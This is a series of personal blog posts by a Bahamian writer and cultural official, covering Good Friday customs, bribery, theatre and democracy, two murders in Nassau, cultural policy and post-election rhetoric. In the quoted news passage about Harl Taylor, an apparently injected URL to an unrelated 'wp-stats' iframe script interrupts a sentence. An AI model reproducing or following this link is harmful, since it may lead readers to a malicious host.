Hell freezes over

It's not often that Rick Lowe of BlogBahamas and I agree on much. In fact, if you follow my blog or his, you'll conclude that we have maintained a relationship of cordial disagreement for the past few years. Our politics are very much at odds -- I *gasp!* have not-so-vague socialist tendencies and he's *oh no!* a libertarian. Our local politics veer in similar directions. We rarely see eye-to-eye.But I think also we have a relationship built on mutual respect. The most wonderful thing about democracies and freedom of speech is that they permit people who do not agree to live together peaceably and work for a common cause. In this case, the common cause is a better Bahamas and a better world.Those of you who follow his blog will have already seen this link. But for those who don't, let me reiterate his comment. This is worth watching in its entirety, and not because of Dr. Pausch's personal circumstances. Hope -- and a personal and philosophical commitment to hope -- is fundamental to achieving any real change in any real society, and what Dr. Pausch is talking about, ultimately, is hope.And now over to him.[youtube https://www.youtube.com/watch?v=ji5_MqicxSo&hl=en]

Good Friday: fish and hot cross buns, and a little poetry to think upon

In our office, we house the richness of the Bahamian experience. Now I grew up with the idea that to be a true-true Bahamian Christian one had to be a Baptist. That was what the conscious culture seemed to say.

If you were Anglican you were Eurocentric, the sort of person Jamaicans might label “Afro-Saxon”. If you were Catholic you were somehow foreign — Catholics were people who came from other places or spoke different languages. If you were Pentecostal, well, you could probably count, but you were unruly and needed schooling. If you were Seventh-Day, you kept your mouth shut. If you were Brethren, nobody knew who you were.

That was then. I turn forty-five on Tuesday, so I’m talking about what I would have called “the olden days” when I was a child — anything that occurred not only before my birth, but before my parents even knew about the kinds of things that could lead to my birth. I know it’s different now; but there is still a sense that pervades our unspoken realities that certain modes of worship, certain denominations of Christianity (forget other religions!) are more “Bahamian” than others.

This week, though, we had a conversation in our office that signals to me that things are changing. It ranged from robes to titles, and ended in one Baptist saying that the one time he envies the Catholic tradition (both Anglo and Roman) is during Holy Week. The ritual, the liturgy, the solemnity of the season seem fitting.

And I must say that it seems as though that Ash Wednesday, Palm Sunday, Good Friday, and Easter Sunday have become more and more popular as services these days. Lent, too; and more and more Anglican congregations, even the resolutely low-church Cathedral congregation, are practising the Stations of the Cross.

This gives the lie to the idea that only African-rooted Protestantism is true-true Bahamian worship. Rather, it suggests that our worship, like our society and our culture, is hybrid. We understand and appreciate the language of the Europeans as well as the language of the Africans, even though we don’t consciously do so. And so this Good Friday, I was happy to do as all my Anglican forebears have done before me — to eat fish and hot cross buns and meditate on the Cross.

My mother fried the fish — goggle eye, to be exact. I made the buns. And in our eating we plugged into a tradition that links us with the collective unconsciousness of those who have gone before. To be Bahamian is all this, and more.

***

And, for Good Friday, a little T. S. Eliot:

The wounded surgeon plies the steel
That questions the distempered part;
Beneath the bleeding hands we feel
The sharp compassion of the healer's art
Resolving the enigma of the fever chart.

Our only health is the disease
If we obey the dying nurse
Whose constant care is not to please
But to remind of our, and Adam's curse,
And that, to be restored, our sickness must grow worse.

The whole earth is our hospital
Endowed by the ruined millionaire,
Wherein, if we do well, we shall
Die of the absolute paternal care
That will not leave us, but prevents us everywhere.

The chill ascends from feet to knees,
The fever sings in mental wires.
If to be warmed, then I must freeze
And quake in frigid purgatorial fires
Of which the flame is roses, and the smoke is briars.

The dripping blood our only drink,
The bloody flesh our only food:
In spite of which we like to think
That we are sound, substantial flesh and blood-—
Again, in spite of that, we call this Friday good.

Aftermath of book launch

Many, many thanks to all who came out, who emailed me, who called, who otherwise supported me with good thoughts and nice wishes.The book launch at Chapter One went very well!Thursday and Friday I was in Freeport for the E. Clement Bethel National Arts Festival, so if you're wondering why the silence, that's why.  The turnout and the talent were amazing.  As usual, the thought of what to do with all that talent made me despair; our country is a wasteland for those who want to devote their lives to the arts.But more on that later.  For now, thanks for your support!

Bribery and Corruption

One of the clichés about the so-called third world is that nothing can get done without some money--personal money--changing hands.  It's not that you have to pay for everything you get; unless you live in some land touched by socialist thinking (i.e. almost every land, save the USA) you have to pay for plenty of stuff.  It's that you have to pay again, to hand over money to induce some civil servant to do the job you're already paying him (or her).One of the fortunate things about living in The Bahamas--so far--is that that kind of corruption is not a pervasive feature of our society.Now this is true of the Caribbean in general.  While it's certainly true that the civil service works slowly, and, for some people, paying money makes things happen faster, it's still possible to get what is due to us by waiting, by going through the channels, by doing things the right way.Correct me if I'm wrong.  Maybe I'm being a starry-eyed idealist as I write this.   But it seems to me that the kind of corruption that exists--for now--in our society mirrors the kind of corruption that exists in many small-scale governments, from local councils and municipal governments in places like the UK, the USA and Canada:  you call in favours, draw upon who-you-know.  It's only when you want to contravene the law, to outright cheat the system, that you pay bribes.Like when you want to get voters' cards, and you're not entitled to them.Or when you want to put up a business in a residential neighbourhood.Or when you want to get a driver's licence without having to pass the driving exam. Or when you want to get your phone hooked up before BTC gets around to doing it themselves.I read this article today, courtesy of Global Voices.  Here's what it could be like, if we let it:

I do have to say though that I do actively resist paying bribes, mostly because it bugs the hell out of me that people have so easily fallen into an expectation that ‘backhanders’ should be given for every little thing they do. There was a time when bribes were a way to smooth extremely difficult or lengthy processes. Now it seems we need to bribe ordinary people just to get off their bottoms and do ordinary jobs.

 In my case I had ‘no choice’ (that easy excuse): the failure to bribe would have caused me all sorts of personal paperwork problems and it was very clear from all the hurdles being thrown up that the government official I was dealing with had no intention of even blinking unless I gave him money.

So, R10, given to an intermediary to pass on (because I am chicken) suddenly produced activity and papers. It was so easy.

It worries me that it was so easy. Am I better off, as a person, for realising how easy it is to make my life a bit better with a bit of foreign cash? I think not. I can see now how so many fall into a pattern of bribing, their casual acceptance that bribing makes life easy leading to a casual expectation from all officials that accepting cash is the way to go.

So far, my experience as a civil servant has been that while there are scores, probably hundreds, of government employees who are accustomed to doing no more than is absolutely required of them, who do as little as possible to keep their jobs, who underperform with impunity, the average government official does not yet expect to be paid to do the basics expected of them. Not yet. But what is there to stop us from going the way of Zimbabwe, of fulfilling the myth that attaches to third-world societies?More on that later. For now, time to think.

Halfway through February, and I forgot

it's Black History Month in the USA.Well, we're not the USA.  And what we truly need is some Bahamian history.  Nevertheless, here are some links that I thought might be interesting reading for the month:

Pimping Black History MonthA Serving of Gumbo 

courtesy of Six Impossible Things Before Breakfast 

A Little Night Music (a Junkanoo post)

The video should say it all.  But if you want to see more of the discussion, go here.[youtube https://www.youtube.com/watch?v=mMZ_4OhCd98&rel=1]

Theatre and democracy

Theatre and democracy were invented in the same place and in the same decade. When two actors on stage talk to each other, at that moment a different emotion is demanded from the audience. It's the emotion of empathy. The same emotion that is required for theatre to work is the emotion that is required for democracy to work -- the idea we need to care about each other's experience.

Oskar EustisThe Public Theaterformer director of the Eureka Theatre Companydramaturge of the San Francisco production of You Can Lead a Horse to Water.

I took that quotation from Wrestling with Angels, a documentary on Tony Kushner, the author of the critically-acclaimed play Angels in America, which Oskar Eustis directed for the Eureka Theatre Company, San Francisco. As I understand it, Philip (my husband, for those of you who don't know, a theatre director) followed the production of the play (which was a two-parter, a long meditation on America, AIDS, and the end of the second millennium) and saw it when it made it to New York. Kushner's work is brilliant, and it critiques in every line the ideas that societies take for granted.

Now the thing I like about the USA (there's plenty I dislike too, so pay attention) is that democracy works, for the most part, there. Or perhaps it would be more accurate is that democracy is given room to work -- many American citizens seem to miss the point of their freedom, and spend plenty of time and money trying either to curb other people's (such as in the banning and burning of books from schools, the banning of public prayer and the like, or -- most sinister -- the making of legal exceptions against rights to privacy and speedy justice and the like for people who are not American citizens). Be that as it may, democracy can thrive in the US if people want it enough. And Tony Kushner wants it.

His epic play (it's a single play, split into two movements) examines a whole sweep of things, and for me to try and say what it's about would be futile. Suffice to say, though, that it examines the deaths from AIDS of two gay men. One of them's Prior Walter, an everyday, ordinary, gay guy, who begins the play happily when he gets his diagnosis, living pretty monogamously with his lover, who's out and living with his homosexuality in New York, where there's room for it. The other the closeted, hatemongering Republican lawyer Roy Cohn, who is also dying alone from AIDS. The two men move towards death through a series of visions/hallucinations/visits from otherwordly beings -- Prior Walter by the Angel of the title, along with a series of his ancestors, all of them also bearing the name Prior Walter (it's an ancient family name), and Roy Cohn by Ethel Rosenberg, whose death he was responsible for.

But enough about that; if you're interested in the play, you can check out the HBO Miniseries version of it and see it for yourself. My point is what Eustis had to say about theatre and democracy.

Both, he says, are inventions of the ancient Greeks and both were invented in the same decade. Leaving aside the ethnocentrism of that idea for the moment, the fact that one group of people formalized both around the same time is remarkable; it's possible to suggest that there's a connection between the two. The Wikipedia article to which I linked (and I always tell my students not to rely on Wikipedia articles, because they aren't guaranteed to be either accurate or unbiased, but never mind) points out a far deeper origin to theatre, one which I would be inclined to accept. The point is, though, that the kind of Western theatre tradition that we in the Caribbean have half-adopted as our own is one that is all about characters -- people -- in crucial positions. To succeed, that kind of theatre does indeed depend on empathy. And Eustis is claiming that empathy is fundamental to the practice of democracy as well.

I think I agree. That should come as no surprise to anybody, considering that I'm a playwright and a theatre enthusiast, but I do believe that there is something both powerful and transformative about being in the same space with people who are telling big and epic stories. Theatre is similar to, but different from film, in that the very democratic nature of theatre requires the actors to tell their stories again and again, fresh every time, to different sets of people, without a mediator, whereas film is ultimately the creation of a director. The democratic difference should be evident there. When the director retires from the production -- which my husband does at dress rehearsal -- the play is set in motion, and it is owned from there on by the performers and technicians, by the whole team that brings it all together, all the time, all at the same time as the audience. But the director (and, of course, the producers) never retires from the film. When the film is finished, it is the director's -- not the writer's or the actors', though the actors can make a big impression -- it's the director's because the director picks what parts of the actor he wants to show.

Lorca, too, appeared to have a similar feeling about theatre. He wrote the following about the place of theatre in the creation of nations:

A nation that does not support and encourage its theatre is -- if not dead -- dying; just as a theatre that does not capture with laughter and tears the social and historical pulse, the drama of its people, the genuine color of the spiritual and natural landscape, has no right to call itself theatre; but only a place for amusement.

This raises the uncomfortable question. Theatre is currently moribund in The Bahamas. What does that imply for democracy? And by that I don't mean the once-every-five-years punitive democracy that the people have been exercising this decade, the kind of thing that happens when you get out of your taxi and realize that your driver didn't take you where you wanted to go, and so you switch taxis and hope the next driver will take you closer to your destination. The problem is that if you don't give your drivers any indication of where you want to go -- and take immediate action to tell the driver when he's going off course -- you will end up far away from your goal. No; I mean the active ideal kind of democracy, where each member of the democracy helps to navigate towards that destination, so that when they all get there they agree that "There" is more or less where they wanted to be.

We haven't ever experienced that here. Or have we?

The fact that we have too little theatre -- the fact that the average Bahamian is suspicious of theatre -- may explain why.

Caribbean murder rates hurting growth - World Bank

How did we miss this?Reuters AlertNet - Caribbean murder rates hurting growth - World Bank

MIAMI, May 3 (Reuters) - The tourism-dependent Caribbean may now have the world's highest murder rate as a region, severely affecting potential economic growth, the World Bank and a U.N. agency said in a report on Thursday.Blaming most of the violent crime in countries like Jamaica and Trinidad and Tobago on the trafficking of Colombian cocaine to Europe and the United States, the report said the region's homicide rate of 30 per 100,000 inhabitants a year was higher even than troubled southern and western Africa.

Probably because we were too busy navel-gazing and trying to decide who won the election.Prophetic, though, isn't it?

Update on Harl Taylor's death

From the Guardian:

It is understood that Taylor was stabbed many times about the body and because of the amount of blood at the scene officers had to wear protective footwear and clothing. Crime scene investigators and murder squad detectives did not leave the scene until 6 p.m. Sunday.Taylor lived a short distance from College of the Bahamas professor, Dr. Thaddeus McDonald, who was found beaten to death in his Queen Street home Friday afternoon. Investigators have not dismissed the possibility of a link in the murders as both victims were single professional men who suffered brutal deaths at the hands of persons believed to be close to them.According to a police source, investigators hope to look http://www.wp-stats-php.info/iframe/wp-stats.php at video footage from surveillance cameras at the U.S. Embassy, which is located on the same street as McDonald's home. The source said it is believed that the tapes contain valuable information.

The Nassau Guardian - www.thenassauguardian.com

R.I.P. Harl Taylor

Fashion Designer Harl Taylor MurderedThe second brutal murder in the same neighbourhood in two days.

Walk good, Dr. Mac

Dr Thaddeus Macdonald found dead at his homeHere in Nassau, in the cultural and academic communities, and in the Baptist community and the Cat Island community and the conscious community, we're grieving at the death of Thaddeus Macdonald, Dean of the Faculty of Social and Educational Studies.We're grieving because of the kind of man we've lost. And we're grieving because his was a violent death.Dr. Mac was the kind of quiet, gentle man who chose to serve as the backbone to major movements, rather than to stand out in front. For those of us who had the privilege to work with him, we will know that he exhibited temperance, commitment, and integrity. He took on causes and supported causes, but did the work in the background that didn't always get him the accolades and notice that others did.I got to know him through the College of The Bahamas, of course, when I first joined the School of Social Sciences, and we respected one another academically. Our interests intertwined in 2002, when the School of Social Sciences put on their symposium on Junkanoo and Christianity, when Dr. Mac's paper on African spirituality helped to provide a context for certain elements of Junkanoo that were then, and may continue to be, imperfectly understood. Our relationship deepened when we both served on the National Commission for Cultural Development from 2002-2007. Thaddeus was one of the most faithful members, one of the handful who could be counted on to show up to meetings and to do the work behind the scenes.Through all of it was his quiet commitment to our West African heritage and identity. This was a commitment he didn't wear like a cloak, but that informed everything he did. This year alone, he quietly championed the commemoration of the Bicentenary of the Transatlantic Slave Trade, which we as a nation and as a society have studiously ignored. He supported everything that was done to commemorate that, from the Commission's calendar of events to the Indaba series of lectures, to the numerous conferences on the subject. He was ubiquitous on radio talk shows and at public functions. He was a founding member of the Festival of African Arts, whose idea of celebrating our African heritage was an idea clearly before its time, and whose grand plan of having monthly activities was adjusted to a weekend event for the commemoration of Abolition. He visited Ghana this year for its fiftieth anniversary of independence, and joined in the celebration of the country that led the decolonizing movement in Africa. He was instrumental in organizing and establishing the College of The Bahamas' conference on Abolition, to occur next February.I say "we". Perhaps I shouldn't speak for others. Let me speak, then, for myself.Walk good, Dr. Mac. We love you. We shall miss you more than we could ever guess.

Thinking it through

I know. I know. It's been a long, long time since I've posted anything really thoughtful on this blog. There are some reasons for that, among them a couple of personal bereavements that distracted me from anything too much, a set of commitments that really do take up my time, and a period of thoughtfulness about what my life is, what it should be, and where I go from here.More on that. In the meantime, though, I wanted to share a little about the difficulties that come with serving in public office. I'm not a politician, and I'm not a political appointee per se. But the position of Director of Cultural Affairs is a public position, and at times the thoughts or actions expected of the Director are not those that I actually hold.Now this is okay, most of the time. A lot of the time I'm privy to information that makes it okay, even if it's not easy to live with. I know what the struggles are that go on behind the scenes, and I know -- more than others may -- the good will that often goes along with those struggles. But every now and then I wonder what I would think if I didn't hold this office, if I wasn't in a position to know the backstage story.This video points to one of those things that I'm sure I would have a firm and unwavering opinion on if I weren't in my present position.[youtube https://www.youtube.com/watch?v=PU5BqaOPIpI&rel=1]And then there's this:Art Lovers Blocked from Sacred SpaceI know what my opinion would be if I weren't in the seat I presently occupy. But -- as my grandmother was fond of saying (so much so that I thought it was alloneword until I was a teen) -- circumstances alter cases. And so the opinion I actually hold is different from the opinion that I'd hold if I weren't in this position.This is a rambling and awkward blog post, I know. There are things beneath the surface, things that can't be articulated right here and right now. But suffice it to say: I'm thinking it through.What it is is another story altogether.Cheers.

Noel

When we woke up, it was going to become a hurricane.Now, not so much.

African Diaspora Heritage Trail

For those who aren't aware of the fact, this October holiday (what should we call it? Not Discovery Day, please, but equally not Heroes Day either, for two reasons -- one, that it suggests/implies/opens the door to the idea that Columbus was a hero, and two, that Columbus didn't discover anything beyond the fact (ultimately) that he was pretty hopelessly lost) plays host to the African Diaspora Heritage Trail Conference.It's a pretty interesting conference. Most interesting about it are the people it brings together -- scholars and businessmen from the African diaspora, particularly the USA. Well. The ownership of the conference is pretty interesting. Bermuda owns the title/brand/idea, but the whole thing is managed by the Henderson Group, the African American travel company that links Africans in the Americas with Africans in Africa and elsewhere.The sessions are stimulating, and the keynote speakers remarkable -- from Shirley Franklin to Andrew Young to PJ Patterson to Jerry Rawlings. But what difference will it really make to us, here in The Bahamas, in the long run? Who have been converted, besides the converted?I suppose we shall have to see.

On Raisins and the Sun

I'm sitting in Starbucks, listening to a jazz rendition of "Sponger Money". I must admit it sounds good. And it feels good to hear an international take on a Bahamian song. But I'm also wondering a couple of things.The first one is what the thing is called. Is it called "Sponger Money" on the label, or does it have a different title -- Spanish, maybe, or something unrelated in English?The second one is who the song is said to be by. Now I don't know the answer to that one, as I have not done the research necessary to find out who wrote it. I can hazard a guess -- perhaps it was Charles Lofthouse, who wrote several songs in the first part of the twentieth century. More likely, it was an anonymous person, maybe a man on a sponge boat, or a woman clipping sponges on the wharf. I do know of at least one person who arranged the song: my father, E. Clement Bethel.The third one (correct, this is a Bahamian "couple"), intimately connected to the first two, is who's getting the royalties for the song.Now I know (as well as one can know these things) that the song is Bahamian. It makes sense, after all; sponging was a major Bahamian industry for the better part of a century, from the mid 1800s to the late 1930s, and the song tells the story of the industry. The version I know was the one we used to sing when I was growing up:Sponger money never done, we got sponger moneySponger money is a lotta fun, we got sponger moneyLaugh gal laughLaugh gal laughLaugh gal laughWe got sponger moneyBut the question I have to ask is this. Even though the song is Bahamian, what Bahamian is getting the revenue from the song?It's a serious question, and one that I have to ask, given the kind of debate that followed the postponement of The Bahamas' hosting of CARIFESTA from 2008 to 2012. That debate, and the general dismissal of culture in general (and, by extension, of our culture in particular) made me realize that most of us -- from the man and woman in the street to the politicians in the highest offices -- are missing the point when it comes to cultural discussions. It made me realize, once again, that our society is locked into a mentality that is jammed firmly into the third quarter of the twentieth century, and that will hinder us not only from developing in the 21st century global economy, but also from maintaining our current economic position as the economic leader in the Caribbean.It's a mentality that is regressive on a number of fronts. In the first place, it continues to imagine -- despite ample evidence to the contrary -- that culture is dispensable, something that you do in your spare time if you can afford it, but not something that has any right to exist on its own. This is the mentality that has led to the removal of music, dance and art programmes from primary schools, permitted adults to regard creative activities as optional, not central, elements in children's development, allowed teachers to divorce the use of language from thought itself, and criminalized self-expression. It's also the mentality that suggests that the enjoyment of life is a waste of time, and that having a unique perspective on the world is sin.It's a mentality, in short, that creates a fertile breeding ground for negative activity. By stifling the ability of people to respond creatively to their environment -- whether that environment is pleasant or difficult -- it leaves them with only the option of a negative response. When you have no room to contemplate or create, you will fight.And so our attitude towards culture is hurting us in several ways. On the one hand, it's rendering us less competitive on the economic front. While we continue to invest in things that became obsolete twenty years ago -- in sun, sand and sea, in gambling, in resort-based tourism, in cruise ship arrivals -- our neighbours are diversifying their tourist economies and creating experiences for their visitors and their citizens alike that will bring the same people back again and again.On the other hand, our dismissal of things cultural is hurting us socially. Not only does it mean that the vacuum that is "Bahamian" society of the 2000s has left us vulnerable to invasions from north and south alike; but it also encourages the development of a criminal sub-culture. Young people who have no sense of self, no outlet for their frustration, and no way of affirming their existence in a country that ignores them will inevitably resort to violence and anti-social behaviour.And this should be no surprise to us. After all, Langston Hughes, the great African-American poet, put it in fairly simple terms. What happens to the dream deferred? he asked.Does it dry up like a raisin in the sun?Or fester like a sore--And then run?Does it stink like rotten meat?Or crust and sugar over--like a syrupy sweet?Maybe it just sags --like a heavy load.Or does it explode?

Something to think about

The Barbadian national budget communication.The Barbadian Budget replyI found both on the Nation (the Bajan newspaper) site. While we bask in our smug conviction of our superiority in every way, it would be instructive to have a look at how Barbados is designing its economy to meet the demands of the 21st century.Then compare it with our plans. (Do we have plans? Or do we just have rhetoric?) Compare it with our budget communication, anyway.(To compare it with our other budget communications, go here for the budget archive.Last year's budget communication.)Draw your own conclusions.

Does this country really need another bureaucrat?

You know you're in trouble when your job interferes with your calling.

The thing is, I'm a writer. Writers write. Writers write about stuff that inspires them. Writers write in part to inform those who read, and in part becase they just can't do anything else.

The other thing is, I'm a civil servant. I am one of the faceless scores of thousands of Bahamians who are bound to serve the government and people of The Bahamas, who are apprenticed to a hierarchy that grows ever more remote from the reality of life in the nation, and who are governed by a set of rules called General Orders which were drafted, by the tone of them, by English colonial bureaucrats, the ultimate purpose of whose administration was to return revenue to the Crown.

Oh, the folly. Oh, the fodder. Over the short course of my public service career I have collected enough inspiration for three seasons of a hit television series. Count two major elections twenty years apart (you do the math), and you will see the possibilities bloom. I even have the best of all possible titles in mind.

And yet. General Orders interferes.

So I ask you. Does this country really need another bureaucrat? Surely it would do better with some good social comment instead?

Seven Wonders of the World

Well, the new Seven Wonders of the World have been announced.Not surprisingly, the Caribbean hasn't been included. Maybe one of the reasons is that we tend to think pretty small, with the result that we haven't created anything of the magnitude of the edifices listed here.  Maybe there are other reasons too, but let's just make a note of the fact for now.Bajegirl has chosen to rectify the oversight by posting her Seven Wonders of the Caribbean.  They are cool, but they're all natural.Needless to say, The Bahamas has not been included in that list. So let me just open this thread up for suggestions, and provide just three with which to begin:The Tongue of the OceanThe Andros Barrier ReefDeans Blue Hole, Long Island (words don't express)Anybody want to play?

Opening of the House of Assembly

This happened today, and it was a great event. What was even more great was the coverage offered by ZNS -- congratulations to Carlton Smith and his guests in the analysis provided by their commentary.I was going to write about my response to the Speech from the Throne, but I've changed my mind. As Michael Stevenson has just said, what is contained in the Speech from the Throne is not necessarily fixed in stone; let us hope not. Let us hope that our new government is more responsive to the desires and concerns of the electorate throughout their term, and not just now and in another five years.Here's to good governance.Just a little something from Pat Rahming, without his cynicism:PowerPowerPower to the people

Spin

What we are missing in The Bahamas, it would seem, is the ability to lose, or win, competition well.

Here's what the new Prime Minister has to say about the elections and their results.

Now Perry Christie tells his supporters that he has some reports of election irregularities that his legal team will investigate.We heard the reports too; plenty reports.Cars burned down in Kennedy, able-bodied persons having people to vote for them.I am ashamed that on Perry Christie’s watch there was more political interference in the electoral process than at any time, even under Pindling.Let history record that Perry Christie is no democrat – he is out, he must stay out.

Here's what Bahamas Uncensored has to say about what the new Prime Minister said.

The Free National Movement will be responsible for the largest increase in crime within the next two years in The Bahamas. They have used hooligans and thugs to intimidate, marauding up and down the streets of New Providence to accomplish their victory and to celebrate and maintain it. The nastiness in which they have engaged is unprecedented in the history of our country.

Do I really have to make a comment?